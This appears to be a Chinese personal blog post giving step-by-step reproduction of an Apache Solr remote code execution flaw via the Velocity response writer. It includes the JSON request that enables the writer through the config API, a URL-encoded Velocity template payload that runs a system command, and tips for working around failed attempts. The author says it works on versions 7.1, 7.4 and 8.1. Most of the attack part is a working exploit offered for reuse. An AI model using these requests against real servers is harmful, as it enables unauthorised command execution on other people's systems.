0%

Apache solr RCE(CVE-2019-xxxx)

      记录一下复现过程,防止下次遇见的时候再去翻资料, 首先 Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 Apache solr历史上有众多高危漏洞,为了自己以后遇见直接找到所有漏洞复现方式,先贴个链接: apache solr历史漏洞列表

复现历程

1、点击core admin 查看部署的应用的路径 (下图应用名就是dovecot)
1572506935286

2、POST 下面更改config的xml 到 /solr/应用名/config(比如:/solr/dovecot/config)

1
2
3
4
5
6
7
8
9
10
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

3、请求 POC(注意编码问题,和空格问题)

1
GET /solr/master_babyartikel_Product_flop/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

1572507215924

目前测试了 7.1 7.4 8.1 都可成功执行代码。

注意事项

注意:1、如果第二步修改config响应403则没权限修,此时如果知道账号密码可进一步操作,如果不知道,建议放弃-哈哈。
          2、如果响应500可能存在的情况就是你的包出现了问题,再次检查请求包是否正确,如果正确则可能是solr的服务损坏。
          3、如果返回200也别太高兴,看看响应有没有error。没有error即可进行第三步,即命令执行POC。
          4、第二步成功的情况下,第三步绝大多数都可以成功,但是有的可能会返回xml,400,等一系列不正常的信息,这时候去看一下config - http://x.x.x.x:8080/solr/应用名/config 查看配置是否真的被你在第二步更改了(搜索velocity 看前后是否是你POST修改的josn)。如果没有则重做第二步。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」